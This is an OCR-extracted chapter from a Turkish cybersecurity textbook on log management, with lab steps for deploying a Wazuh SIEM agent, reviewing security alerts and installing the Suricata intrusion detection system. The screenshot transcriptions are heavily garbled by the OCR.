2024-06-10 10:15:22 CROF TCP 192.168.1.10 93.184.216.34 50214 80 OUTBOUND BLOCKED No rule
2024-06-10 10:16:01 ALLOW UDP 192.168.1.10 8.8.8.8 51320 53 OUTBOUND ALLOWED -

2024-06-10 10:17:45 CROP TCP 192.168.1.10 198.51.100.23 50555 445 QUTBOUND BLOCKED No rule
2024-06-10 10:18:11 ALLOW TCP 192.168.1.10 192.168.1.1 49543 443 CUTBOUND ALLOWED -
2024-06-10 10:18:59 DCROF TCP 192.168.1.10 203.0.113.56 51323 135 OUTEBQUND BLOCKED No rule
2024-06-10 10:19:17 ALLCW UDP 192.168.1.10 224.0.0.252 5355 5355 CUTBOUND ALLOWED -
2024-06-10 10:20:42 CROP TCP 192.168.1.10 185.199.108.153 50211 21 OUTBOUND BLOCKED No rule
2024-06-10 10:21:30 ALLCW TCP 192.168.1.10 192.168.1.11 49412 139 OUTBOUND ALLOWED -
2024-06-10 10:22:18 CROF TCP 192.168.1.10 198.51.100.42 50101 23 OUTEQUND BLOCKED No rule
2024-06-10 10:23:05 ALLOW UDP 192.168.1.10 239.255.255.250 1900 1900 OUTBOUND ALLOWED -

Gorsel 3.39: Host-Based Firewall log kaydi

Veri tabani sistemlerinde gergeklesen islemlerin (ekleme, silme, glincelleme, sorgulama
vb.) kayit altina alinip, loglanmasi konulu bir sunu hazirlayarak sinifta sonunuz.
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3.2. LOG YONETiIM ARAGLARI

Sistemde ve altyapida ne olup bittigini anlayabilmenin en temel yolu, geride biraktiklari izleri baska
bir ifadeyle log kayitlarini dogru bicimde toplamaktan ve analiz etmekten gecer ancak sistemler
blyldikee, uygulama ve cihaz sayisi arttikga bu loglarin daginik ve karmasik yapisi kayitlari yénetilemez
héle getirir. Tam da bu noktada devreye log yonetim araclari girer. Bu araglar, farkl kaynaklardan gelen
loglari merkezi bir noktada toplayarak anlamlandiriimasina ve gerektiginde giivenlik veya performans
acisindan harekete gecilmesine olanak saglar. Dogru yapilandiriimis bir log yonetim sistemi, sadece
olaylari kayit altina almakla kalmaz. Ayni zamanda sistem yoneticilerine ve givenlik uzmanlarina
zamaninda mudahale imkani da sunar (Gorsel 3.40).

Gorsel 3.40: Log yonetim araglari

3.2.1. Log Toplama ve Yonetim Yontemleri

Sistemlerin Urettigi log ve- Ajan Tabanlgi Log Yonlendirme API Arayiizleri
rilerinin  dogru ydntemle . (bzaktan'Loglama) &

. . . Ag Cihazlari ve J :
toplanmasi ve yodnetilmesi Uygulamalar ] sgen @)
buylik ©6nem tasir. Loglar, : toaln
farkli ortamlarda calisan ce- : .

sitli sistemlerden elde edilir. T N T ]
Bu nedenle kullanilan topla- : S
ma yontemleri, sistemin ya-
pisina ve ihtiyaclarina gore
farkhhk gosterebilir. Agent
tabanli log toplama yonte-
mi, ilgili sistemlere kurulan
ajan vyazilimlar araciligiyla
veri akisi saglar. Log yon-
lendirme (remote logging)
yontemi, log verilerini belirli

Gorsel 3.41: Log toplama

iletisim protokolleri araciligiyla merkezi sunuculara yonlendirerek yonetimi kolaylastirir. Bunlara ek ola-
rak bazi uygulamalarin sundugu API araylzleri sayesinde loglara dogrudan erisim mumkin hale gelir.
Bu da ozellikle dinamik log yonetimi ¢oziimleri gelistirmek isteyen kurumlar igin biyik avantaj saglar

(Gorsel 3.41).
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3.2.1.1. Agent Tabanh Log Toplama

(111

Agent tabanl log toplama yontemi, izlenecek sistem veya cihaza 6zel bir ajan yazihmi yiklenerek
log verilerinin dogrudan kaynak sistem (zerinden toplanmasini saglar. Bu yapi sayesinde sadece
standart loglar degil sistem aktiviteleri, uygulama seviyesindeki hareketler ve 6zel glivenlik olaylari
da ayrintili bicimde izlenebilir. Ozellikle gercek zamanl analiz, olay tespiti ve gelismis tehdit algilama
senaryolarinda 6nemli avantajlar sunar ancak bu yontemin bazi dezavantajlari da vardir. Her sistem icin
ayri ajan kurulumu ve yonetimi gerektiginden biyulk 6lcekli yapilarda operasyonel yik artabilir. Ayrica
ajanlarin sistem kaynaklarini kullanmasi, performans tizerinde sinirli da olsa olumsuz etkiler yaratabilir.
Bu nedenle agent tabanh log toplama yéntemi, detayli izleme gerektiren sistemlerde tercih edilmekle
birlikte kaynak kullanimi ve yonetim kolayhgi g6z 6niinde bulundurularak planlanmalidir.

Kullanilan SIEM vyazilimi ve isletim sistemi slriimiine gore uygulamalarda
farkhliklar olabilir. SIEM yazihminin kurulumunda, agents yapilandirmalarinda ve
diger islemlerde bazi isletim sistemleri ek yazilimlara, kiitiphanelere veya servis
yapilandirmalarina ihtiyag duyabilir. Ornegin Linux tabanli sistemlerde curl, unzip
gibi yardimci araglar gerekebilirken Windows ortamlarinda .NET Framework veya
PowerShell 3.0 ve istl bilesenler gerekli olabilir.

Yetki Seviyeleri

Log toplama islemleri icin sistem Uzerinde belirli izinlerin verilmesi gerekir. Windows ortaminda
genellikle yonetici (administrator) yetkileri gereklidir. Linux ortaminda ise root veya sudo ayricaliklariyla
islem yapilmasi gerekebilir.

Dosya ve Dizin Erisimleri

Her isletim sistemi, loglarin tutuldugu dosya yollarini ve erisim izinlerini farkli sekilde yonetebilir.
Agentlarin bu alanlara erisim iznine sahip olmasi 6nemlidir.

Servis Yonetimi ve Baglatma Yontemleri

Agent servislerinin baslatiilmasi, durdurulmasi, yeniden baslatilmasi gibi islemler, isletim sistemine goére
degisebilir (systemctl, service, sc, net start gibi komutlar).
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SIEM yaziliminda Windows ortamina agent kurarak log toplama islemini verilen adimlar dogrultusunda
gerceklestiriniz.

1. Adim: SIEM yaziliminin web arayliziini agarak sisteme giris saglayiniz (Gorsel 3.42).

wdadzuh

The Open Source Security Platform

Gorsel 3.42: SIEM web arayliziine giris paneli

2. Adim: SIEM yazilimi ana ekraninda Gorsel 3.43’te bulunan Wazuh - Agents paneline gelerek Agents
modulind aginiz.

wqazuh. ~  Modules
[T Modules >

{23 Management

() Agents

>_ Tools

Security

14l settings

Gorsel 3.43: Agent modiiliine giris
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3. Adim: Deploy new agent secenegi ile yeni bir agent ekleme islemini gerceklestireceginiz panele giris
yapiniz (Gorsel 3.44).

= (O wazuh. v aems

& €
STATUS DETALS EVOLUTION
Last 24 howrs
- 1 - ® active

®  Adwe (1) Active Disconnected Pending Mever connected  Agents coverage b
@ Disconneced (0] 1 0 1 50.00% i

Pending (3) :

Last ragestered agent Most active agent

Nt connectod (1 i

© - Hivicocvieckd {1) LAPTOP-STUESSTR LAPTOP-STUESSTR

Emestamp per 10 misies

 Refresh
Agents (2) ® Deploy new agent th Export formatted [)
o4 Hame 1P acaress Groupis) Operating systee sutus Acnons
ooz milogm 192 168 1.27 - - = . & river connected ®
003 LAPTOP-STUESSTR 192 168 127 defaut Micrasoft Windows 10 Home Single Language 10 0 19045 5865 nodedl vi54 & acive @ 9

Gorsel 3.44: Agent modiiliine girig

4. Adim: Agent kurulmasini istediginiz isletim sistemi, versiyon ve mimariyi seciniz (Gorsel 3.45).

Deploy a new agent

X Close

o Choose the operating system

Red Hat Enterpris... Cent0s Ubuntu

macOs
> Show more

o Choose the version

Windows XP

Windows Server 2... Windows 7 +

o Choose the architecture

i386/xB6_64

Gorsel 3.45: Agent yapilandirmasi
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5. Adim: Wazuh Manager SIEM yaziliminin kurulu oldugu cihazin IP adresini 4. kutucuga girip 5.
secenekte benzersiz bir isim olacak sekilde agent ismi belirleyiniz ve default groups secenegini
isaretleyiniz (Gorsel 3.46).

o Wazuh server address

This is the address the agent uses to communicate with the Wazuh server. It can be an IP address or a fully qualified domain name
(FQDN).

192.168.1.156

° Optional settings
The deployment sets the endpoint hostname as the agent name by default. Optionally, you can set the agent name below.

Assign an agent name

MTEGM-AJAN

@ The agent name must be unique. It can't be changed once the agent has been enrolled.

Select one or more existing groups

default x [ < I

Gorsel 3.46: Agent yapilandirmasi

6. Adim: Gorsel 3.47’de bulunan yapilandirma komutlarini kopyalayip, en az PowerShell 3.0 versiyonunu
kullanarak administrator yetkisiyle agent kurulum islemine baslayiniz.

e Install and enroll the agent

You can use this command to install and enroll the Wazuh agent.

@ Ifthe installer finds another Wazuh agent in the system it will upgrade it preserving the configuration

@ Requirements

= You will need administrator privileges to perform this installation.
= PowerShell 3.0 or greater is required.

Keep in mind you need to run this command in a Windows PowerShell terminal

Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.5.4-1.msi -OutFile ${env:tmp}\wazuh-
agent.msi; msiexec.exe /i ${env:tmp}\wazuh-agent.msi /q WAZUH_MANAGER="192.168.1.156"
WAZUH_REGISTRATION_SERVER='"192.168.1.156" WAZUH_AGENT_GROUP='default’ WAZUH_AGENT_NAME='MTEGM-AJAN’

e Start the agent

NET

NET START Wazuh
Gorsel 3.47: Kurulum kodlarinin olusturulmasi
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7. Adim: Kopyaladiginiz agent kurulum komutlarini PowerShell ile galistiriniz ve hizmet basariyla
bagslatildi ifadesini gériiniz (Gorsel 3.48).

N Administrator: Windows PowerShell - O X

indows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

Ir C //packages.wazuh.com/4.x/windows Z -4.5.4-1.msi b

agent.ms \wazuh-agent.msi /q WAZUH_MANAGER='192.168.1.146" WAZUH_REGISTRATION

i} - ! LENY E
.1.146° | NT_GR WAZUH_AGENT_NAME="winsur'
PS C:\windows\system32> NET START Wazuh

Wazuh hizmeti basariyla baslatildi.

PS C:\windows\system32> _

Gorsel 3.48: PowerShell’de komutlarin calistiriimasi

8. Adim: Agent kurdugunuz cihazinizi tekrar baslatarak hizmetin ¢alismasini saglayiniz.

9. Adim: Wazuh SIEM yaziliminizin web aray(iziine tekrar giris yaparak Agents kisminda Goérsel 3.49’daki
gibi kurulumun gerceklestigini goriintlleyiniz (Kurulum gerceklesmemisse de adimlari izlemeye devam

ediniz.).
= (O wazuh. Agents a
STATUS DETAILS EVOLUTION
..... - .

L4 Descon .| 1 hgenits coverage

L] ) 50.00%

L

o Hame [T Groupisl Dpecating system Cluster node Version saaiuy Actoas

Gorsel 3.49: Agent kurulumunun goriintilenmesi
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10. Adim: Agents listesinde kurulum gerceklesmemisse Gorsel 3.50°'de bulunan ossec-agent dosya
yoluna gidip, win32ui.exe dosyasini ¢alistiriniz ve ardindan ¢ikan Wazuh Agent Manager yaziliminda IP

adresini girerek Save tusuna basiniz.
.gimrwmmmmm

Ad

tirma tarfh|

wodles
_| agent_info 13.06.2025 00:30
& agent-authexe 20102023 11:1

| agent-auth.exe manifest

] clienteys

| dbsynedll

heelpa et

[ intemal_opticascont
14 1ast-osseccont

7 libgee_s_dw2-1.dil

] litsstele s +-G.ll

] Iitrwaazuhest.dil

| libwazunshared.dil

| libwinpthread-1.dll

1 LICENSED
[A tecal_intemal_options.conf
] manage_agentsexe
[A osseccont

| osseclog

] profile-104emglate

1 REVISION

| reyme.dil

| syscollectordll
<1 sysinto.di

| VERSION

L Lab

B wazun-agentexe
| wazuh-agentstate
| wazuh-logeollectonstate

mwi\ahime

20102023 1121

| wn32urexe.manafest 260320251314 MANIFEST Dosyas

1267 KB 1

Manage

Wazuh

View Help

w54

Agent: LAPTOP-STUESGTR (003) - any

Status: Running

Authentication key: [MI]!ZIEHBUFRPUE 1TNIVFOTU

1P: [192.168.1.156

Refresh

1KB

Gorsel 3.50: Wazuh Agent Manager ile kurulum

SIEM yaziliminda agent kurarak elde edilen loglarin alarmlarini goriintiileme islemini verilen adimlar

dogrultusunda gergeklestiriniz.

1. Adim: SIEM yaziimini web araylzini agarak sisteme giris saglayiniz ve ekranda agent tarafindan

toplanan kayitlari gortintlleyiniz (Gorsel 3.51).

= () WQzuh. ~ s | IAPTORSTUESSTR

Securlty ovents  Integrity monitaring  SCA Vulnerabilties  MITRE ATTACK More.., ~

[ iventory data i Stats & Configuratic
[ suns " aaress Version o Cperating sysiem Chesier rode Regsiration date Last keop aive
003 » actve 192168137 Wazuh w54 aefaut Mecrosol Wncows 10...  noded] Apr 28, 2025 @ 22:65:58 000 Jun 13, 2025 @ 17:3212.000
| Last 24 nours |
o] e D83 = :
MITRE Comphance Peapss FIM: Recent events
Time: 4 Path Action Fiuts goscription Futa Lovel  Fule i
Top Tactics. " ® 1535
Jun 13, 2025 @
Impact 4 e wIsen Cusermuidowrags s 30088 Fie 80060 % the system ] 54
i 1638 55 544 S T ATGOWIGgY 8
Defense Evasion ] ® 106
dun 13,2025 @ R =
Initial Access el e 220 b Cussrmuatdownioatssy . Geieied Fie deisten 7 553
Parsisience w ® 024m Jun 13, 2005 &
it CusersmuRidownicadsisy | modfied Intiegraty ehecksum changed T 550
Fatvilege Escalation ba i &
Jun 13, 2025 g
CussrmAnowriadssy | mocied Integrty checksum changed 7 80
ok 58 2y C U TRl downioadsisy gty g
sl modfed Integrty cracks a7 80
it usersImUIAdoWTIDAdS n TGty CRCksUM Change

Events count evolution

SCA Lastest scans

Gorsel 3.51: SIEM arayiiz ekrani
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2. Adim: SIEM yazilimi ana ekraninda Gorsel 3.52’de bulunan More = Security events paneline gelerek
sistemdeki glvenlikle ilgili 6nemli olaylarin analiz edildigi modull aginiz.

Agents LAPTOP-SYUE957R

ng SCA Vulnerabilities MITRE ATT&CK More... ~
¢53 Security information management ¢53 Auditing and Policy Monitoring
I Security events I Policy Monitoring
Integrity monitoring Security configuration assessment
GitHub
2] Threat detection and response 2] Regulatory Compliance
Vulnerabilities PCI DSS
MITRE ATT&CK GDPR
HIPAA
NIST 800-53
TSC

Gorsel 3.52: Security events modil girisi

3. Adim: Gorsel 3.53’te gorilen ana ekrandan (Security events Dashboard bilgileri) 6nemli gtivenlik
olaylarinin bilgilerini ve grafiklerini inceleyiniz.

= O wazuh, - [l CUSTORSIES o RN :

Dashioard  Events Iy} LAPTOP-STUESSTA (D03] N 7 Generate ropc

DOl [~ Lest2snows Snow dates w

Tl Live 17 0r abeve aberts Ausmstcaton taau Aumenscaton seccess

asagur name messtioen | sgeslid 863 |+ Add fiter

Abert groseps evoiston Ealr™™

'E
.7
.
[

Top § werma o & e growess 4 Top § I D52 Heguirmnests.

Gorsel 3.53: Security events ana ekrani
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4. Adim: Kayit altina alinmis glivenlik olaylarini listeleyiniz (Gorsel 3.54).

Secunty ey
— [ Testoist [ Lot B
o 3, 2005 @ 17 3542758 T Datarss Evasion. Farsistence. Priviepe Excatason inal Access Whndows kogon success 3 60106
43, 2005 @ 173424 Toara Dafenss Evasion Fersistence, Friviege Escaiaton infal ACcess Windows iogon succest 3 60106
Jun 13, 2026 @ 17 29 10188 THare Cowternin Evason. Persntence, Priviege [scalston sl Accems Werstourt gon vucemes 3 80108
Jun 13, 2005 @ 1T 42000 TTa Dieteran Eviion, Parsistance, Frivasge Dscalusen inkal Access Wiendow kxgon fuccest 3 B0V
Jun 1 2025 @ 1T 424545 w7 Debense Evasion. Peritence, Priviege Excalason inaal Access Whndows logon succest 3 60108
3, 2005 @ 172424514 THare Datarss Evasion. Farsistence. Priviepe Excatason inal Access Whndows kogon success 3 ao108
o 1, 205 @ 1T 2048 THTe Distarsa Evation Parsistence, Proviege Encaiasen el Access Wnciows kagon fuccast ] 60106
Jun 13, 2026 @ 1T 2400 TI7E Dvteens Evasion. Farsitence, Prviege Escalmson sl Access Werdour ngon Buccett ) 50108
n 13, 2005 @ 172428188 T Detencs Evasion. Pervistence, Priviege Escatamon nsal Access Wndows kgon succest 3 80108
13, 2005 172426153 Toore Debense Evasion. Peritence, Priviege Excalason inaal Access Whndows logon succest 3 0108

Borw par page: 10 $12% 45 o

Gorsel 3.54: Glvenlik olaylari listesi

5. Adim: Sistemde gerceklesen énemli olaylarin incelemesini yapip, sisteme basarisiz bir oturum agma
girisiminde bulunarak Goérsel 3.55’teki gibi basarisiz oturum agma alarmi olusmasini saglayiniz ve olusan
alarmi segip inceleyiniz.

P——

e 4 R—— Tacte f— Lt fors

Jun 13, 2006 @ 1724 20787 Sarvion starus s was cranged 3 N
o 11, 7028 @ 17 4 22 961 TIO?E  TISH msmum.ﬁmum i A L iy - Unincun user o Bad paserd 4 60172
K1) G TIOTE TISH o A T, Liogon taurs - Unkown user ar b passwont 5 60132
13,2025 3 105818058 Sarnce Fans type was hanged 1 anos
EAVLAB @AM TIOTE Gotersn [ vaton Pariatans. Prege {icasen, ot Accois [ p— ] 80108
nATLNS@WUNE TN oty Fvaion Parstarsn Friegs {scsatan. insie fecmss Wi logen suscass ) s0108
heTLFSE WM TIONS Daterne Lyasion Persatence. Prviege Cicaate, it Access Wintos logon sucess 1 60108
o 11 7038 @ 164345035 Sarvca 3 s vt chdnged ) G104
13,2025 3 165131578 Sarnce Fans type was hanged 3 #1104

Gorsel 3.55: Glivenlik alarmlari
6. Adim: Sistemde dosya ylikleme ve silme islemlerini gerceklestirip FIM moddiliinde alarm vermesini
bekleyiniz.

7. Adim: Sisteme dlsen alarmlari tiklayarak inceleyiniz (Gorsel 3.56).

o
- et s - v .
s msg sy hors P U - ; o
snisgranm s e e P, g i st W o e ; e
Jun 11, 2025 @ 1743005 826 TI203 Expouson W Total Aerl - OB TURENOOWNIORY @Car_Com 20 - 61 engines deecied P le 12 BTIS
o msewonm T L— i o o st smos
Jun 13, 25 @ 74X 652 TI203 Exmouson ::::“:h:‘ i b S b 1 BT10
don 13, 2025 @ 174250 377 Fie 2000d 15 T system 5 554
Jun 13 2025 17 4250 295 TH70004 Ti485 Dwlerse Evamon, mmpac Fie deleled. 7 553
Jun 13, 225 @ 1742 58 572 Fie acded 12 the sysiem 5 854
o 1 035 @ T4 S0 481 oBmars pretetlon erroh Ched e uctaa ] Boa4z
Jun 13, 005 @ 17 A1T 047 Tora Dwlerse Evasion. Persstence. Prviege Escalaton. intal Access TOOWS Q0N T00esE. 3 Lo

Gorsel 3.56: FIM alarmlari
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8. Adim: Sistemde gergeklesen otomatik CIS kontrollerinin incelemesini gergeklestiriniz (Gorsel 3.57).

Securiy Alerta

.....

A 13,2005 ) 1T 315138 each agerd et 1

Gorsel 3.57: CIS Kontrolleri Alarmi

3.2.1.2. Log Yonlendirme (Remote Logging)

Agvesistemglivenligindeloglarinsadece toplanmasidegilaynizamandadogru bir sekilde yonlendirilmesi
blyik 6nem tasir. Farkh sistemlerin Urettigi loglar, merkezi bir SIEM platformunda toplanarak giivenlik
ekiplerinin olaylari dogru ve bitlin bir sekilde degerlendirmesine olanak tanir. Bu sayede dagitilmis
yapilarda olan tehditler daha hizli tespit edilir, olaylar arasi iliskilendirme yapilabilir ve zamaninda
midahale saglanabilir. Log yonlendirme, 6zellikle farkli kaynaklardan gelen verilerin birlestirilmesi ve
anlamlandiriilmasi agisindan biyik 6nem arz eder.

Suricata, ag trafigini analiz ederek olasi tehditleri tespit edebilen agik kaynakl bir saldiri tespit ve
onleme sistemidir (IDS/IPS). Bu sistem, ag Uzerinden gecen paketleri detayli bir sekilde inceleyerek
givenlik uyarilar Gretir. Suricata’nin olusturdugu loglar, merkezi log yonetim ve analiz platformlariyla
entegre edilerek daha genis capli givenlik analizlerine olanak tanir. Bu noktada, Wazuh gibi SIEM
¢ozlimleri devreye girerek Suricata tarafindan Uretilen yonlendirilmis loglari alir, isler ve anlamli glivenlik
olaylarina dondstirir. Bu yonlendirme sayesinde ag diizeyinde tespit edilen tehditler, sistemli bir
sekilde izlenebilir hale gelir. Boylece farkh givenlik bilesenleri, bir arada ¢alisarak kapsamli bir glivenlik
¢OzUmu sunar (Gorsel 3.58).

ﬁ Log Yonlendirme (Remote Logging)
ullw

Su ricata\\‘

\ &

Gorsel 3.58: Log yonlendirme
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3. Uygulama

Acik kaynak kodlu Suricata saldiri tespit sisteminin kurulumunu verilen adimlar dogrultusunda
gerceklestiriniz.

1. Adim: Suricata resmi web sitesinden Windows icin en son stirimini bilgisayariniza indiriniz.

Suricata’nin ag trafigini yakalamak icin WinPcap, Npcap gibi bir paket yakalama
kiitiphanesine ihtiyag¢ duyulur.

2. Adim: Npcap web sitesine girerek son strimind indirip kurulum islemini gerceklestiriniz (Gorsel
3.59).

Downloading and Installing Npcap Free Edition

Tha free warsicn of Npcap may be usad (but not exiemally redistribulad) on up o 5 systems ([rea license datails). it may also ba
uesad on unlimiled systams whana it is only wsed with Mmap, Wirsshark, andior Micr fander for Idenkity. Simply run the
exéculable installer, The full source code for each release is avaldable, and developers can build hair apps against the S0K, The
improvermants for each relaase are cocumantad in the Npcap Chanoslog.

| - ﬂns:am_&z_:wju_eﬂw:i‘ndm T2008R2, 82012, BA/2012R2, 1002016, 2019, 11 (x86, x84, and ARKMEA)
« Mecap LEBJ dabug symbols (ZIF)
= Mpcap 162 sgurce coda (ZiP).

The latest davalopment source s in our Github sgurce repesilony. YWindows XP and earlier are not suppored, you can use
WinPcag for thesa varsions

Gorsel 3.59: Npcap kurulum sayfasi

3. Adim: indirdiginiz acik kaynak kodlu Suricata kurulum dosyasini calistirarak kurulum islemini
gerceklestiriniz (Kurulum sonrasinda masadstiinde Goérsel 3.60’taki simgeyi gérintileyiniz.).

Bu bilgisayar

a
7.0.10-64b...

-

Gorsel 3.60: Suricata simgesi

4. Adim: C:\Program Files\Suricata dosya yolunu izleyip suricata.yaml yapilandirma dosyasini bir metin
editori araciligiyla aginiz.

SIBER OLAYLARA MUDAHALE @
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5. Adim: Gorsel 3.61’deki gibi af-packet bolimind bulup arayiiz adini, sisteminizdeki dogru ag arayizu
adiyla degistiriniz.

file
enablad: yes
level: info

filenal ricata.log

# forma %1 - Xm] %z Xd: R5: AM"

# Lype: json Bul x
- syslog:

enabled: no Apan [atpackel |

facility: locals i [

format: "[Bi] <¥d> Crvukan 0 Agad

W type: json [Clesryuk keigisk hart aglagis
[CIMgtin gevresinde kayds
##
#ta Step 3: Configure common capture settings
L

u4 See "Advanced Capture Options” below for more options, including Netmap
## and PF_RING.
e

hreads. "aute” uses the nusber of cores

wthreads: auto
# Default clusterid. AF_PACKET will load balance packets based on flow.
cluster-id: 99

7 Default AF_PACKET cluster type. AF_PACKET can load balance per flow or per hash.

m This is only supperted for Linux kernel > 3.1
# possible value are:
# * cluster_flow: all packets of a pgiven flow are sent to the same socket
& * cluster_cpu: all packets treated in kernel by a cPu are sent to the same socket
® * cluster_gm: all packets linked by network card to 3 RSS gqueue are sent to the same
# socket. Requires at least Linux 3.14.
« kit as shat. gaRE Silg load kel pocioncen doclusecauideloanticeabanduass (3bat e cat fon " ¥

51621, 5tn 10 100%  Unix (LF) UTF-8

Gorsel 3.61: Ag araylizi yapilandirmasi

6. Adim: Suricata, tehditleri tespit etmek icin kural dosyalarini kullandigindan en son kural setlerini
(Rule Set) Suricata versiyonunuza uygun olacak sekilde internetten bulup indiriniz.

7. Adim: indirdiginiz kural setlerini Suricata kurulumunuzda bulunan rules dizinine kaydediniz (Gérsel
3.62).

Bu bilgisayar ’lWimdows(C:) > Program Files > Suricata > rules |

~

Ad Degistirme tarihi Tar Boyut
<) app-layer-events.rules 18.03.2025 05:20 RULES Dosyasi 2 KB
& botcc.portgrouped.rules 16.04.2025 00:09 RULES Dosyas! 3KB
] botccrules 16.04.2025 00:09 RULES Dosyas! 4 KB
D BSD-License txt 16.04.2025 00:09 Metin Belgesi 2KB
& ciarmy.rules 16.04.2025 00:09 RULES Dosyasi 108 KB
D classification.config 16.04.2025 00:09 CONFIG Dosyasi 4 KB
& compromised.rules 16.04.2025 00:09 RULES Dosyas! 14 KB
D compromised-ips.txt 16.04.2025 00:09 Metin Belgesi 6 KB
] decoder-events.rules 18.03.2025 05:20 RULES Dosyas! 21 KB
& dhcp-events.rules 18.03.2025 05:20 RULES Dosyas! 1KB
& dnp3-eventsrules 18.03.2025 05:20 RULES Dosyas! 2KB
] dns-eventsrules 18.03.2025 05:20 RULES Dosyasi 2KB
< drop.rules 16.04.2025 00:09 RULES Dosyasi 45 KB
] dshield.rules 16.04.2025 00:09 RULES Dosyasi 3KB
«) emerging-activexrules 16.04.2025 00:09 RULES Dosyasi 359 KB
emergl Ale.DUD 16.04.2025 00:09 RULES Dosyasi 589 KB
16.04.2025 01:52 RULES Dosyasi 36.603 KB
o 16.04.2025 00:09 RULES Dosyasi 610 KB
& emerging-chatrules 16.04.2025 00:09 RULES Dosyas! 33KB
& emerging-coinminer.rules 16.04.2025 00:09 RULES Dosyas! 20 KB
& emerging-current_events.rules 16.04.2025 00:09 RULES Dosyasi 132 KB
<) emerging-deleted.rules 16.04.2025 00:09 RULES Dosyasi 1.663 KB

Gorsel 3.62: Kural seti kaydetme
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8. Adim: Kural dosyalarini icerecek sekilde suricata.yaml
glincelleyiniz (Gorsel 3.63).

dosyasindaki kural dosyalari bolimini

See Mapatech NTPL documentation other hashmodes and details on their use.

4
"
# This parameter has noe effect if auto-config is disabled,
h

ashmode: hashStuplesorted .
Bul

£
. N y Aganan wila-tlas]
mn Confipure Suricata to load Suricata-update manage """ rhe-flas
wt Yén peal
1 3 p s AL ¢ | ) Yyghean Agad
default-rule-path: cC:\\Program Files\\Suricata\'\rulg [_|Buyik kigik bar - g

[[IMgtn govranins kayar

- emerging-all.rules
local.rules

# - decoder-events.rules #available in suricata sources under rules dir

# - stream-events.rules #Mavailable in suricata sources under rules di

m - httip-events.rules #available in suricata sources under rules

# - http2-events.rules favailable in suricata sources under rules dir

# - smtp-events.rules #available in suricata sources under rules dir

# - dns-events.rules #available in suricata sources under rules dir

# - tls-events.rules #available in suricata sources under rules dir

# - modbus-events.rules  #available in suricata sources under rules dir

# - mgtt-events.rules savailable in suricata sources under rules dir

# - app-layer-events.rules #available in suricata sources under rules dir
# - dnp3-events.rules #available in suricata sources under rules dir
# - ntp-events.rules mavailable in suricata sources under rules dir
W - ipsec-events.rules #available in suricata sources under rules dir
# - kerberos-events.rules navailable in suricata sources under rules dir
# - smb-events.rules #available in suricata sources under rules dir
# - nfs-events.rules #available in suricata sources under rules dir
) dhep-events.rules #available in suricata sources under rules dir
# - ssh-events.rules #available in suricata sources under rules dir
# _ pfh_ouante eolac warailahla in enrirata eauncae undar mnlae die
<

St 2188 5:n 1

100% Unax (LF) UTF-8

Gorsel 3.63: Yapilandirma dosyasini yeni kural setiyle glincelleme

9. Adim: Komut sistemini yonetici yetkisiyle ¢alistirip (Administrator), Gorsel 3.64’te bulunan komutlari

girerek Suricata’y baslatiniz.

et name=value set a configuration value

To run the engine with default configuration on interface et

[Suricata.e> suricata.yaml -s signatu .rules -i ethe

icata>Suricata. suricata.yaml -i Ethernet

RELEASE running EM mode

small: setting to 5

aml

Runnin
slated 1

Gorsel 3.64: Suricata baslatma komutu

ith signature file "s

run the commanc
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10. Adim: Suricata dogru kuruldugu takdirde Gorsel 3.65’te oldugu gibi kayitlar dismeye baslayacaktir.
Gorselde belirtilen klasére girerek log dosyalarini inceleyiniz.

g I vt | log ke

» Bu bigisayar o Windows (C) » Program Fites + Suncata »

Ad Dedigti
files
2 evejson
1 fastiog
SAatshog
micatalog 29042005 1500
T fastiog - Nt Deteri = o
Dosya Dugen Bigm Govunim  Yardim
B4/16/ 3075 1:2034064:5] [T SCAN Possible Masp User-Agent Observed [*°] [Classification: web Application Attack] [Priority: 1] {TCP} 192,168.1,100: -3 102.160,1,27: 8481 af
B4/16/2005 1:1831671:5] €T INFO Microsoft Connection Test [classification: Misc activity] [Priority: 3] {TCP} 192.168.1.27:45022 «» 212,252.126.75180 |
1:3930071:5] IT INFG Microsoft Connection Test [** : 3] {T¢P} 19%.168.1, 80
1:1824364:5] ET SCAN Possible Mmap User-Agent Observed [** [ [Priority: 1 -3 192,168.1.27:88
1:3054064:5] 1T SCaN Possible Naap User-Agent Obierved Classifieation: [orioriey: 1 - 1,278
1:181436415] €T SCAN Possible Maap User-Agent Observed [**] [Clazsification: [Priority: 1 > 1.
1:2074364:5] 17 SCAN Possible Masp User-Agent Observed [**] [Classification: & [orioriey: 1 - 1
1:3824364:5] £T SCAN Possible Maap UserAgent Observed [**] [Classification: on [Priority: 1 -
1:2034364:5] 1T SCAN Possible Masp User-Agent Observed [*°] [Classification: web Application At [oriorey: 1 -
1:182436415] ET SCAN Possible Mmap User-Agent Observed [**] [Classi¥ication: web Application Attack] [Priority: 1 >
1:3024364:8] U7 SCAN Possible Masp User-Agent Gbserved [**] [Classification: web Application Atcack] [Priority: 1 -
1:182436415] ET SCAN Possible Mmap User-Agent Observed [**] [Classification: web Application Attack] [Priority: 1 -
1:3034384:5] 17 SCaN Possible Mmap user-Agent Observed [**] [Classification: web Application Attack] [Priscity: 1 -3
1:1814364:5] ET SCAN Possible Mmap User-Agent Observed [**] [Classi¥ication: web Application Attack] [Priority: 1 »
84719/ 202%- 1:2024364:5] 1T SCAN Papsible Masp User-Agent Dbserved [*°] [Classification: web Application Attack] [Prisrity: 1 -
a4/29/ 2025 1:2924364:5] ET SCAN Possible Mmsp User-Agent Observed [**] [Classification: web Application Attack] [Priority: 1 3
1:2024064:5] 17 SCAN Possible Masp User-Agent Observed [*°] [Classification: web Application Attaek] [Priority: 1 -
1:182436415] €T SCAN Possible Mmap User-Agent Observed [**] [Classi¥ication: Wweb Application Attack] [Priority: 1 &
1:2074364:5] IT SCAN Possible Masp User-Agent Dbserved [*°] [Classification: web Application Attack] [Priority: 1 -
1:182436415] ET SCAN Possible Mmap User-Agent Observed Classification: wWeb Application Attack] [Priority: 1 -
1:3004064:5] 1T $CaN Possible Naap User-Agent Obierved Clasification: web Application At [orioriey: 1 -
1:181436415] €T SCAN Possible Nmap User-Agent Observed Classification: Web Application [Priority: 1 3
1:2024364:5] 17 SCAN Possible Masp Uber-Agent Observed clansification: web Appli [orioriey: 1 4
1:3824364:5] ET SCAN Possible Maap User.Agent Observed [**] [Classi¥ication: Web Application At [rriority: 1 -
1:2034364:5] 1T SCAN Possible Masp User-aAgent Observed [*°] [Classification: web Application At [oriordey: 1 e,
